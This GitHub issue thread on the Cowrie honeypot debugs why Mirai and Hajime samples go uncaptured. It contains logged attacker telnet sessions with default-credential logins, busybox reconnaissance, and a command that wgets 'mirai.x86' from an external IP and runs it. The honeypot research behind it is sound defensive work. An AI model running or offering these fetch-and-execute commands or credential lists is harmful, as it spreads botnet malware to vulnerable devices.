Navigation Menu

Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Not capturing any Mirai samples #411

Closed
bontchev opened this issue Jan 16, 2017 · 30 comments
Closed

Not capturing any Mirai samples #411

bontchev opened this issue Jan 16, 2017 · 30 comments

Comments

@bontchev
Copy link
Contributor

I ran a pretty much out-of-the-box Cowrie installation on a virtual machine for a couple of hours. Although the logs show that various Mirai variants have hit 127 times, to my amazement not even a single sample was captured. Going through the logs, I can identify the following cases:

  1. In the vast majority of cases the capturing has failed because of this issue. The discussion of the issue suggests that a hotfix for the problem is available - could we get it merged to master, please?

  2. The second case looks like pretty much a standard Mirai; I do not understand what exactly is failing. It seems to me that the honeypot is providing the right answers. Here is a sample session from the logs:

2017-01-16T18:32:58+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 109.236.92.144:55305 (192.168.0.104:23) [session: TT10]
2017-01-16T18:33:01+0200 [CowrieTelnetTransport,10,109.236.92.144] login attempt [root/anko] succeeded
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Opening TTY Log: log/tty/20170116-183302-None-10i.log
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: enable
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: enable 
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Reading txtcmd from "txtcmds/bin/enable"
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: shell
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command not found: shell
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: sh
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: sh 
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox ps; /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ps
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: ps
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox cat /proc/mounts
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: cat /proc/mounts
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox cat /dev/.nippon
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: cat /dev/.nippon
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox rm /dev/.nippon
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: rm /dev/.nippon
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: cd /
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: cd /
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox cp /bin/echo dvrHelper
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: cp /bin/echo dvrHelper
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: > dvrHelper
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox chmod 777 /dvrHelper
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: chmod 777 /dvrHelper
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox cat /bin/echo
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox cat /bin/echo
2017-01-16T18:33:02+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: cat /bin/echo
2017-01-16T18:33:03+0200 [CowrieTelnetTransport,10,109.236.92.144] CMD: /bin/busybox ECCHI
2017-01-16T18:33:03+0200 [CowrieTelnetTransport,10,109.236.92.144] Command found: /bin/busybox ECCHI
2017-01-16T18:35:04+0200 [CowrieTelnetTransport,10,109.236.92.144] Closing TTY Log: log/tty/20170116-183302-None-10i.log after 121 seconds
2017-01-16T18:35:04+0200 [CowrieTelnetTransport,10,109.236.92.144] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
2017-01-16T18:35:04+0200 [CowrieTelnetTransport,10,109.236.92.144] Connection lost after 126 seconds
  1. The third case is completely weird, it seems that the bot is sending commands containing '0x00' characters? Here is a sample session log:
2017-01-16T18:32:34+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 122.224.33.171:31513 (192.168.0.104:23) [session: TT8]
2017-01-16T18:32:36+0200 [CowrieTelnetTransport,8,122.224.33.171] login attempt [root/888888] succeeded
2017-01-16T18:32:36+0200 [CowrieTelnetTransport,8,122.224.33.171] Opening TTY Log: log/tty/20170116-183236-None-8i.log
2017-01-16T18:32:36+0200 [CowrieTelnetTransport,8,122.224.33.171] Warning: state changed and new state returned
2017-01-16T18:32:36+0200 [CowrieTelnetTransport,8,122.224.33.171] Received unhandled keyID: '\x00'
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] CMD: enable
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Command found: enable 
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Reading txtcmd from "txtcmds/bin/enable"
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Received unhandled keyID: '\x00'
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] CMD: system
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Command not found: system
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Received unhandled keyID: '\x00'
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] CMD: shell
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Command not found: shell
2017-01-16T18:32:37+0200 [CowrieTelnetTransport,8,122.224.33.171] Received unhandled keyID: '\x00'
2017-01-16T18:32:38+0200 [CowrieTelnetTransport,8,122.224.33.171] CMD: sh
2017-01-16T18:32:38+0200 [CowrieTelnetTransport,8,122.224.33.171] Command found: sh 
2017-01-16T18:32:38+0200 [CowrieTelnetTransport,8,122.224.33.171] Received unhandled keyID: '\x00'
2017-01-16T18:32:38+0200 [CowrieTelnetTransport,8,122.224.33.171] CMD: /bin/busybox MIRAI
2017-01-16T18:32:38+0200 [CowrieTelnetTransport,8,122.224.33.171] Command found: /bin/busybox MIRAI
2017-01-16T18:32:39+0200 [CowrieTelnetTransport,8,122.224.33.171] Closing TTY Log: log/tty/20170116-183236-None-8i.log after 2 seconds
2017-01-16T18:32:39+0200 [CowrieTelnetTransport,8,122.224.33.171] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
2017-01-16T18:32:39+0200 [CowrieTelnetTransport,8,122.224.33.171] Connection lost after 4 seconds
@fe7ch
Copy link
Contributor

fe7ch commented Jan 17, 2017

Hello,

Regarding the second issue, what is the output of the command file honeyfs/bin/echo (should be ran from cowrie's home folder)?

@fe7ch
Copy link
Contributor

fe7ch commented Jan 17, 2017

Btw, I doubt that first mentioned issue has something with parentesis. As far as I remember, there are no mirai samples that uses it for honeypot detection. Could you please post a part of the log related to this issue?

@bontchev
Copy link
Contributor Author

@fe7ch, none of the three cases behaves like the original Mirai (as suggested by its source).

I have not modified the output of any of the commands that the honeypot comes with or the file system it spoofs, As far as I can see, there is no bin directory in honeyfs, let alone a honefs/bin/echo file.

Here is a sample log for the first case:

2017-01-16T18:24:09+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 103.19.255.180:50552 (192.168.0.104:23) [session: TT0]
2017-01-16T18:24:10+0200 [CowrieTelnetTransport,0,103.19.255.180] login attempt [admin/password] failed
2017-01-16T18:24:10+0200 [CowrieTelnetTransport,0,103.19.255.180] Warning: state changed and new state returned
2017-01-16T18:24:11+0200 [CowrieTelnetTransport,0,103.19.255.180] login attempt [root/Zte521] succeeded
2017-01-16T18:24:12+0200 [CowrieTelnetTransport,0,103.19.255.180] Opening TTY Log: log/tty/20170116-182412-None-0i.log
2017-01-16T18:24:12+0200 [CowrieTelnetTransport,0,103.19.255.180] Warning: state changed and new state returned
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] CMD: enable
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command found: enable 
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Reading txtcmd from "txtcmds/bin/enable"
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] CMD: shell
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command not found: shell
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] CMD: sh
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command found: sh 
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] CMD: cat /proc/mounts; /bin/busybox HSTSL
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command found: cat /proc/mounts
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command found: /bin/busybox HSTSL
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] CMD: cd /dev/shm; (cat .s || cp /bin/echo .s); /bin/busybox HSTSL
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command found: cd /dev/shm
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command not found: ( cat .s
2017-01-16T18:24:13+0200 [CowrieTelnetTransport,0,103.19.255.180] Command found: cp /bin/echo .s ); /bin/busybox HSTSL
2017-01-16T18:24:43+0200 [CowrieTelnetTransport,0,103.19.255.180] Closing TTY Log: log/tty/20170116-182412-None-0i.log after 31 seconds
2017-01-16T18:24:43+0200 [CowrieTelnetTransport,0,103.19.255.180] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
2017-01-16T18:24:43+0200 [CowrieTelnetTransport,0,103.19.255.180] Connection lost after 34 seconds

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

@bintchev, I'm almost sure the log, you just provided, is related to Linux.Hajime malware family, not Mirai.

To address the second issue (/bin/echo), you must place a binary file to cowrie/honeyfs/bin/echo if you want to capture samples.

How does it work (simplified):

  1. Trojan uses cat /some/file
  2. Cowrie looks up this path in data/fs.pickle
    3a) If the file is not listed in data/fs.pickle and it wasn't created during attacker's session, then error not found is displayed
    3b) If the file is listed in data/fs.pickle, then cowrie takes its content from honeyfs folder (honeyfs/some/file).
    3c) If the file was created during the session, cowrie takes its content

@bontchev
Copy link
Contributor Author

@fe7ch, I thought that Hajime was Mirai-based?

How exactly do I add bin/echo to Cowrie's spoofed file system? Just copy /bin/echo to cowrie/honeyfs/bin/echo? Or do I have to do something else too, in order to update cowrie/data/fs.pickle?

Also, what about the other two cases? Any ideas why no samples are captured and how to fix that?

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

@bontchev Nope, Hajime is totally different family. If you want to capture these samples, you'll need to wait till hotfix merged or apply the hotfix by yourself.

For common binaries such as /bin/echo, it's enough to copy file into honeyfs directory (for ex. cowrie/honeyfs/bin/echo). As soon as you place there file, you'll see how mirai proceed with infection.

I have no ideas about the third issue. I saw it in my logs too, but haven't enough time to dig into it yet.

@bontchev
Copy link
Contributor Author

@fe7ch, OK, I copied /bin/echo to cowrie/honeyfs/bin/echo. Now the bot goes further and proceeds to download a copy via wget, but again no samples are collected by Cowrie. Probably because the downloaded file is destroyed by the bot if it fails to start? Sample log:

2017-01-18T12:43:55+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 173.208.241.10:64919 (192.168.0.102:23) [session: TT5]
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] login attempt [root/anko] succeeded
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Opening TTY Log: log/tty/20170118-124359-None-5i.log
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Warning: state changed and new state returned
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: enable
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: enable 
2017-01-18T12:43:59+0200 [CowrieTelnetTransport,5,173.208.241.10] Reading txtcmd from "txtcmds/bin/enable"
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: shell
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command not found: shell
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: sh
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: sh 
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ps; /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ps
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: ps
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cat /proc/mounts
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cat /proc/mounts
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cat /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cat /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox rm /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: rm /dev/.nippon
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ECCHI
2017-01-18T12:44:00+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: cd /
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cd /
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cp /bin/echo dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cp /bin/echo dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: > dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox chmod 777 /dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: chmod 777 /dvrHelper
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox cat /bin/echo
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox cat /bin/echo
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: cat /bin/echo
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox wget
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: wget
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox tftp
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: tftp
2017-01-18T12:44:01+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: /bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: wget http://69.30.218.138:1122/bins/mirai.x86 -O -
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox chmod 777 /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: chmod 777 /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: ./dvrHelper telnet.x86; /bin/busybox IHCCE
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command not found: ./dvrHelper telnet.x86
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox IHCCE
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] CMD: rm -rf upnp; > dvrHelper; /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: rm -rf upnp
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: > /dvrHelper
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Command found: /bin/busybox ECCHI
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Closing TTY Log: log/tty/20170118-124359-None-5i.log after 2 seconds
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
2017-01-18T12:44:02+0200 [CowrieTelnetTransport,5,173.208.241.10] Connection lost after 7 seconds

Still doesn't look like the original Mirai variant, though.

@micheloosterhof
Copy link
Member

micheloosterhof commented Jan 18, 2017 via email

@bontchev
Copy link
Contributor Author

@micheloosterhof If I enter manually only

/bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > dvrHelper

the sample is captured. However, if I enter manually a compound command like

/bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper

the sample is not captured.

@fe7ch
Copy link
Contributor

fe7ch commented Jan 18, 2017

/bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > dvrHelper

the sample is captured. However, if I enter manually a compound command like

/bin/busybox wget http://69.30.218.138:1122/bins/mirai.x86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper

the sample is not captured.

@bontchev @micheloosterhof , I guess this happens because of #352

@bontchev
Copy link
Contributor Author

@fe7ch, @micheloosterhof, I have applied the hotfixes for issues #352 and #361. The bots now go further down their script, but Cowrie still isn't capturing any samples! The main issues are:

  1. The bot that uses '\x00' characters. I'm ignoring this for now.

  2. Hajime. Sample log:

2017-01-18T14:21:55+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 180.253.128.67:41746 (192.168.0.102:23) [session: TT0]
2017-01-18T14:21:58+0200 [CowrieTelnetTransport,0,180.253.128.67] login attempt [Administrator/admin] failed
2017-01-18T14:21:58+0200 [CowrieTelnetTransport,0,180.253.128.67] Warning: state changed and new state returned
2017-01-18T14:21:59+0200 [CowrieTelnetTransport,0,180.253.128.67] login attempt [root/ikwb] succeeded
2017-01-18T14:22:00+0200 [CowrieTelnetTransport,0,180.253.128.67] Opening TTY Log: log/tty/20170118-142200-None-0i.log
2017-01-18T14:22:00+0200 [CowrieTelnetTransport,0,180.253.128.67] Warning: state changed and new state returned
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: enable
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: enable 
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] Reading txtcmd from "txtcmds/bin/enable"
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: shell
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] Command not found: shell
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: sh
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: sh 
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: cat /proc/mounts; /bin/busybox NBBGU
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: cat /proc/mounts
2017-01-18T14:22:01+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: /bin/busybox NBBGU
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: cd /dev/shm; (cat .s || cp /bin/echo .s); /bin/busybox NBBGU
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: cd /dev/shm
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: cat .s
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: cp /bin/echo .s
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: /bin/busybox NBBGU
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: nc; wget; /bin/busybox NBBGU
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command not found: nc
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: wget 
2017-01-18T14:22:02+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: /bin/busybox NBBGU
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: (dd bs=52 count=1 if=.s || cat .s)
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] Command not found: dd bs=52 count=1 if=.s
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: cat /dev/shm/.s
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] CMD: /bin/busybox NBBGU
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] Command found: /bin/busybox NBBGU
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] Closing TTY Log: log/tty/20170118-142200-None-0i.log after 3 seconds
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionLost'>: Connection to the other side was lost in a non-clean fashion.
2017-01-18T14:22:03+0200 [CowrieTelnetTransport,0,180.253.128.67] Connection lost after 8 seconds
  1. Something Mirai-like:
2017-01-18T14:30:47+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 103.13.221.51:54355 (192.168.0.102:23) [session: TT5]
2017-01-18T14:30:52+0200 [CowrieTelnetTransport,5,103.13.221.51] login attempt [root/] succeeded
2017-01-18T14:30:52+0200 [CowrieTelnetTransport,5,103.13.221.51] Opening TTY Log: log/tty/20170118-143052-None-5i.log
2017-01-18T14:30:52+0200 [CowrieTelnetTransport,5,103.13.221.51] Warning: state changed and new state returned
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: enable
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: enable 
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Reading txtcmd from "txtcmds/bin/enable"
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: shell
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command not found: shell
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: sh
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: sh 
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox ECCHI
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox ECCHI
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox ps; /bin/busybox ECCHI
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox ps
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: ps
2017-01-18T14:30:53+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox ECCHI
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /proc/mounts
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /proc/mounts
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox ECCHI
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69'
